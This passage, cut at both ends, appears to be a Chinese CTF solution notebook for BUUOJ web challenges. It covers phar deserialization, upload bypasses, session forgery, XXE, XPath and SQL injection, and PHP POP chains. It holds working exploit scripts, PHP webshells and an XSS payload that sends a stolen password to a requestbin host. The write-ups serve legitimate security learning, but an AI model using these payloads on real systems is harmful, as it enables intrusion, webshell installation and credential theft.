".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo ' Master, I want to study rizhan! ';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件： ".$uploader." "; echo file_get_contents($uploader); } } ?>显然是要利用__destruct中的eval，但没有反序列化函数却要反序列化，应该是要考察phar反序列化Filename可控，token随便传个文件就知道了，因此可以任意命令执行制作phar文件<?php class Uploader{ public $Filename; public $cmd; public $token; } $p = new Uploader(); $p->cmd = "highlight_file('/var/www/html/flag.php');"; $p->Filename = 'test'; $p->token = 'GXYbacee14c956a2f5d5aa9722a57bd23f8'; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($p); $phar->addFromString("test.txt", "test123"); $phar->stopBuffering(); ?>上传phar文件得到/var/www/html/uploads/49794142c2887111b2e1dfaa8f173102/GXYbacee14c956a2f5d5aa9722a57bd23f8.txt接着随便上传一个文件，name参数为phar:///var/www/html/uploads/49794142c2887111b2e1dfaa8f173102/GXYbacee14c956a2f5d5aa9722a57bd23f8.txt非预期解因为文件名可控，所以可以直接传一句话，或者直接将name改为flag.php，可以直接读取[Black Watch 入群题]Web在热点出抓包，发现可以布尔盲注?id=0^(if(ascii(substr(database(),1,1))=110,1,0))因为buu现在会429的原因，不写脚本跑了，看网上wp，跑出密码登陆就有flag[SUCTF 2018]annonymous<?php $MY = create_function("","die(`cat flag.php`);"); $hash = bin2hex(openssl_random_pseudo_bytes(32)); eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}"); if(isset($_GET['func_name'])){ $_GET["func_name"](); die(); } show_source(__FILE__);create_function创建匿名函数，说是匿名，其实是有名字的，函数名为：%00lambda_%d，%d为持续递增的整数，所以可以爆破来访问该匿名函数import requests for i in range(1,1000): r=requests.get(url='http://7d7feb90-e0f0-4a94-951b-bcbe03cc49de.node3.buuoj.cn/?func_name=%00lambda_{}'.format(i)) print(r.status_code) if 'flag' in r.text: print(r.text) break 或者也可以通过大量的请求来迫使Pre-fork模式启动Apache启动新的线程，这样这里的%d会刷新为1，就可以预测了Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测出题人应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了import requests while True: r=requests.get('http://da0e87c2-f146-4530-8bec-a59fd655f635.node4.buuoj.cn:81//?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break print('Testing.......') October 2019 Twice SQL Injection二次注入一开始以为在info处，写入sql后在简介出处取出造成二次注入，但其实是在注册处用户名这里注入xiaolong' union select flag from flag#登陆后在简介处即可看到flag猜测后端应该是select content from user where username=xxx，因为没有对取出的username进行过滤，造成了二次注入[RoarCTF 2019]Simple Upload<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; } $upload = new \Think\Upload();// 实例化上传类 $upload->maxSize = 4096 ;// 设置附件上传大小 $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 $upload->savePath = '';// 设置附件上传子目录 $info = $upload->upload() ; if(!$info) {// 上传错误提示错误信息 $this->error($upload->getError()); return; }else{// 上传成功 获取上传文件信息 $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; echo json_encode(array("url"=>$url,"success"=>1)); } } }考察tp的文件上传类，不熟悉基本没法做首先入口在/index.php/home/index/upload，不知道怎么来的在tp中upload() 函数不传参时为多文件上传，整个 $_FILES 数组的文件都会上传保存而题目中只限制了 $_FILES[file] 的上传后缀，也只给出 $_FILES[file] 上传后的路径，因此上传多文件就可以绕过 php 后缀限制。但是上传的php文件无法回显文件名，因此需要爆破文件名而tp的是根据uniqid来生成文件名，uniqid函数基于以微秒计的当前时间，生成一个唯一的 ID可以看如果接近的话，只有后三位不同因此只要同时上传txt文件跟php文件，txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包，遍历爆破php文件名后三位（测试发现是五位），就能猜出php的文件名import requests import time url = 'http://8b4f371b-cc6e-479c-8496-fb3034501b02.node4.buuoj.cn:81/index.php/home/index/upload' file1 = {'file':open('D:\\1.txt','r')} file2 = {'file[]':open('D:\\shell.php','r')} r=requests.post(url,files=file1) print(r.text) r=requests.post(url,files=file2) print(r.text) print(r.text) r=requests.post(url,files=file1) print(r.text) dir='abcdefghijklmnopqrstuvwxyz0123456789' for i in dir: for j in dir: for x in dir: for y in dir: for z in dir: url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/6204ffe9{}{}{}{}{}.php'.format(i,j,x,y,z) r = requests.get(url) # print(url) if r.status_code == 429: time.sleep(0.5) print(429) if r.status_code == 200: print(url) break还有一种方法在tp中对上传文件名的处理有个strip_tags函数，（strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签）因此传文件名为shell.<>php即可绕过import requests url = 'http://8b4f371b-cc6e-479c-8496-fb3034501b02.node4.buuoj.cn:81/index.php/home/index/upload' files={'file':('shell.<>php',"<?php eval($_GET['cmd'])?>")} r=requests.post(url=url,files=files) print(r.text)[DDCTF 2019]homebrew event loopfrom flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5afe1f66147e857' def FLAG(): return '*********************' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" event = request.event_queue[0] request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval( action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. ' resp += 'Go back to index.html ' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' # resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now. '.format( session['num_items'], session['points']) if page == 'index': html += 'View source code ' html += 'Go to e-shop ' html += 'Reset ' elif page == 'shop': html += 'Buy a diamond (1 point) ' elif page == 'reset': del session['num_items'] html += 'Session reset. ' html += 'Go back to index.html ' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += 'Download this .py file ' html += 'Go back to index.html ' for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace('\t', ' '*4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', ' ') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy '.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) ' def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')代码审计，感觉有点难def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index')只要有5个钻石，就能拿到flag而在买钻石处存在逻辑漏洞def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy '.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index'])不管有没有点数，先加上然后这些函数都会调用trigger_eventdef trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event)作用是将函数返回结果存放在session中，也就是说如果调用了show_flag，那么flag就会在session中，因此现在的目标就是想办法调用show_flag在execute_event_loop中有eval发现调用了get_mid_strdef get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack这个函数比较难以理解测试一下def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack def trigger_event():pass event = 'action:trigger_event#;action:buy;5#action:get_flag;' is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') print('[!] action:',action) args = get_mid_str(event, action+';').split('#') print('[!] args:',args) event_handler = eval(action + ('_handler' if is_action else '_function')) print('[!] event_handler:',event_handler)因此payload就是action:trigger_event%23;action:buy;5%23action:get_flag;其中#是为了注释掉_handler首先调用trigger_event将接下来的函数返回值写入session，然后action:buy;5买5个钻石，再调用get_flag_handler，此时钻石数量为5，成功拿到flag得到session解密一下base64解密[CISCN2019 华东南赛区]Web4尝试/etc/passwd发现可以读取接着查看当前进程的执行命令/proc/self/cmdline发现/usr/local/bin/python/app/app.py，读取/app/app/py# encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! Read somethings' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )代码很好理解，显然是要伪造session想伪造session需要知道SECRET_KEY，环境变量里看看/proc/self/environ并没有，看来需要自己生成回到代码，SECRET_KEY的生成方式已经说了random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)random.random()生成的是伪随机数，种子为uuid.getnode()，是网卡mac地址的十进制数读取一下/sys/class/net/eth0/address5a:f5:ed:05:63:ea生成SECRET_KEY，注意这里有个坑点，要python2运行，因为2和3小数点后面位数不同，题目是python2import random random.seed(0x5af5ed0563ea) print(random.random()*233)然后解密session最后进行加密，但这里有个巨坑的地方解密出来的session长这样，经过了base64加密，想当然的加密格式也这样，但事实是加密的格式为{'username':'fuck'}，简简单单，没有base64，没有其他字符python flask_session_cookie_manager3.py encode -s 182.139630027 -t "{'username':'fuck'}"替换session，访问/flag[WMCTF2020]Make PHP Great Again<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }非预期利用session.upload_progress进行session文件包含import io import sys import requests import threading host = 'http://a37c4d1b-de51-4bef-aba0-aadcb4a729ef.node4.buuoj.cn:81/' sessid = 'xiaolong' def POST(session): while True: f = io.BytesIO(b'aaa') session.post( host, data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo system('cat flag.php');echo md5('1');?>"}, files={"file":('a.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}') # print(response.text) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)预期解require_once 不能包含重复文件，因此要想办法绕过PHP最新版的小Trick， require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含/proc/self指向当前进程的/proc/pid/，/proc/self/root/是指向/的符号链接payload?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.phpphp源码分析 require_once 绕过不能重复包含文件的限制原理还是没看懂，先把知识点记住还有一个payload?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php看不懂，也没解释，看来师傅们一个个都掌握着别人都不知道的利用方法啊[GoogleCTF2019 Quals]Bnv抓包分析某个师傅曾言有json的地方就可能有xxe构造xml，将Content-type改为application/xml<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY b "123401012350240234"> <!ENTITY % remote-dtd SYSTEM "https://asdfasd.free.beeceptor.com/"> %remote-dtd; ]> <message>&b;</message>尝试加载内部文件<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote-dtd SYSTEM "file:///etc/passwd"> %remote-dtd; ]>已经被加载了，但不是个格式正确的xml文件所以中断了在本题中，读取一个错误的实体，会返回完整的实体名因此假设第一次读取/flag实体，第二次把/flag的里的值当做实体来读取，明显/flag的里的值这个实体不存在，然后就会报错返回，这样就拿到flag了具体实现为先读取本地的DTD文件，这个文件有一个名为ISOamsa的实体，所以我们可以使用它来写DTD代码<?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> %eval; %error; '> %local_dtd; ]>但有师傅指出，不引用外部DTD文件，直接通过嵌套参数实体，这道题同样可以做出来<?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message ANY> <!ENTITY % para1 SYSTEM "file:///flag"> <!ENTITY % para ' <!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>"> %para2; '> %para; ]>师傅们真是tql反正我还是有些懵逼，xml的可读性太差了，看不明白参考Bnv writeup刷题笔记:GoogleCTF2019 QualsBnvBlind XXE详解与Google CTF一道题分析https://mohemiv.com/tags/xxe/[HFCTF2020]BabyUpload<?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>显然是session伪造PHP的session文件为sess_+PHPSESSID，题目再上传部分将session文件名的_后面部分改成了文件内容的哈希值，因此等会上传session的时候需要讲话文件名改为sess首先看看session里的内容direction=download&attr=&filename=sess_3ded3e49f1a96181ed15fc6b523848a9当前为guest，注前面有一个不可见字符，说明session的存储引擎为php_binary接下来进行伪造先生成session<?php session_save_path("D:\\work\\php\\"); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['username'] = 'admin';然后生成哈希echo hash_file('sha256',"D:\\work\\php\\sess_6agiugo5bbmk2ijedlt4t79mat");接着进行上传伪造import requests url = 'http://78cea709-517a-4d3e-8cb6-04f0e96135bf.node4.buuoj.cn:81' data = { 'direction':'upload', 'attr':'' } file = {'up_file':open('D:\\work\\php\\sess','r')} r = requests.post(url=url,data=data,files=file) print(r.text)查看一下接下来还需满足file_exists($filename)才能得到flagfile_exists() :检查文件或目录是否存在虽然不能创建文件，但是可以通过attr参数创建目录import requests url = 'http://78cea709-517a-4d3e-8cb6-04f0e96135bf.node4.buuoj.cn:81' data = { 'direction':'upload', 'attr':'', 'attr':'success.txt' } file = {'up_file':open('D:\\work\\php\\sess','r')} r = requests.post(url=url,data=data,files=file) print(r.text)最后一步，将PHPSESSID改为生成的哈希值expimport requests url = 'http://78cea709-517a-4d3e-8cb6-04f0e96135bf.node4.buuoj.cn:81' data = { 'direction':'upload', 'attr':'', 'attr':'success.txt' } file = {'up_file':open('D:\\work\\php\\sess','r')} r = requests.post(url=url,data=data,files=file) cookie = {'PHPSESSID':'432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4'} result = requests.post(url=url,cookies=cookie) print(result.text)[NPUCTF2020]ezloginxpath注入，以前我一直以为xpath注入就是sql报错注入，是我傻逼了XPATH注入学习XPath 注入指北类似于sql注入，只不过语法不一样，且注的内容为xml中的内容import requests import string import time import re session = requests.session() base_url = 'http://9de113aa-1657-4e6c-ad07-ba57a6618251.node4.buuoj.cn:81/' success = '??' payload = "' or substring({target},{index},1)='{char}' or '" chars = string.ascii_letters+string.digits def get_csrf(): res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36', 'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text return re.findall('<input.*value="(.*?)"./>', res)[0] target = 'string(/*[1]/*[1]/*[2]/*[3])' # username adm1n # password cf7414b5bdb2e65ee43083f4ddbc4d9f data = '<username>{username}</username><password>1</password><token>{token}</token>' result = 'cf7414b5bdb2e65ee43' headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36', 'Content-Type': 'application/xml', 'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'} for i in range(20, 35): for j in chars: time.sleep(0.2) temp_payload = payload.format(target=target, index=str(i), char=j) token = get_csrf() temp_data = data.format(username=temp_payload, token=token) res = session.post(url=base_url+'login.php', data=temp_data, headers=headers) # print(temp_data) # print(res.text) # print(len(res.text)) print(temp_data) if len(res.text) == 5: result += j break print(result)得到adm1n，gtfly123登陆后伪协议大小写绕过读flag[极客大挑战 2020]Greatphp<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>考察PHP原生类本题要用到Error类Error类中有__tostring方法，md5()和sha1()函数都会调用__tostring()<?php $a = new Error("payload",1); $b = new Error("payload",2); echo $a; echo " "; echo $b; echo " "; if($a != $b) { echo "a!=b"; } echo " "; if(md5($a) === md5($b)) { echo "md5相等"." "; } if(sha1($a)=== sha1($b)){ echo "sha1相等"; } 但我本地试了下好像不行，换版本也不行，换在线的依旧不行，不知道问题出哪了。。。接着构造要执行的语句，直接include "/flag"，取反绕过正则/flag取反后url编码为%D0%99%93%9E%98（在include用法这里，include "/flag"没问题，include /flag不行，include~urldecode("%D0%99%93%9E%98")没问题，也就是说这样写不需要引号包裹）<?php class SYCLOVER { public $syc; public $lover; } $str = "?><?=include ~".urldecode("%D0%99%93%9E%98").";?>"; $a = new Error($str,1);$b = new Error($str,2); $p = new SYCLOVER(); $p-> syc = $a; $p-> lover = $b; echo urlencode(serialize($p));这里有个奇怪的问题，如果直接这样$p-> syc = new Error($str,1); $p-> lover = new Error($str,2);结果居然会不同！希望有大佬解答一下为啥会不一样[GWCTF 2019]mypassword在login.js中if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }登录后会读取用户名和密码注册登录进去，在feedback页面发现代码if(is_array($feedback)){ echo " "; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; foreach ($blacklist as $val) { while(true){ if(stripos($feedback,$val) !== false){ $feedback = str_ireplace($val,"",$feedback); }else{ break; } } }发现会将黑名单里的字符串替换为空，双写绕过即可因此思路就是构造exp，bot点击后将password发送过来，具体发送到哪呢，就是下面这个网站http://http.requestbin.buuoj.cnexp<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/166vfjq1/?psw="+psw; </scrcookieipt>[RootersCTF2019]babyWeb可以报错注入search=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) search=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=char(117,115,101,114,115)),0x7e),1) search=1 and updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users),0x7e),1)得到837461526918364526，登录拿到flag或者直接万能密码search=1 || 1=1 limit 0,1[2020 新春红包题]1<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { // 使缓存文件名随机 $cache_filename = $this->options['prefix'] . uniqid() . $name; if(substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return $filename; } return null; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);跟之前的[EIS 2019]EzPOP差不多，只不过多了绕过后缀这一步 public function getCacheKey(string $name): string { // 使缓存文件名随机 $cache_filename = $this->options['prefix'] . uniqid() . $name; if(substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; }可以/../shell.php/.这样来绕过<?php class A{ protected $store; protected $key; protected $expire; public function __construct(){ $this->complete = base64_encode('aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='); $this->cache = array(); $this->store = new B(); $this->key = '/../shell.php/.'; $this->autosave = false; } } class B{ public $options = array(); public function __construct(){ $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/'; $this->options['serialize'] = 'base64_decode'; $this->options['data_compress'] = false; } } $a = new A(); echo urlencode(serialize($a));[XNUCA2019Qualifier]EasyPHP<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>做这题太折磨人了，为什么这么说呢，等会就知道了首先，看了一下好像完全可以写马，写个shell.php，但试了后发现写是可以写，但无法解析，此路不通考虑写.htaccess，好，开始折磨，作为重要的配置文件，但凡写错一个地方，直接就崩了，只能重启，然后尝试，继续崩，继续重启。。。实在顶不住了，直接搬wp的payloadphp_value auto_prepend_fi le ".htaccess" # <?php phpinfo();?>?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%20%0a%23<?php%20system(%27cat%20/f*%27);?>\思路简单，包含.htaccess文件本身即可，最后在加个转义符号使换行失效主要是不知道分两行写要加一个\，这次学到了不过这是非预期，还有一个非预期是将正则回溯次改为0，但我没成功预期解有点复杂首先通过 error_log来自定义错误文件路径，如/tmp/fl3g.php，然后设置include_path来改变include()或require()函数包含文件的录路径，这里可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错，且include_path的值也会被输出到屏幕上，因此思路就是先include_path不存在的目录/+恶意代码，同时将报错日志路径设为/tmp/fl3g.php，然后访问报错后再将include_path设为/tmp，即可让index.php包含fl3g.php来getshell，但有个小问题error_log中的内容是htmlentities的，也就是说会将<>等特殊字符实体编码，需要转为utf-7来绕过[羊城杯2020]easyphp跟上题([XNUCA2019Qualifier]EasyPHP)一模一样的EasyBypass<?php highlight_file(__FILE__); $comm1 = $_GET['comm1']; $comm2 = $_GET['comm2']; if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1)) $comm1 = ""; if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2)) $comm2 = ""; $flag = "#flag in /flag"; $comm1 = '"' . $comm1 . '"'; 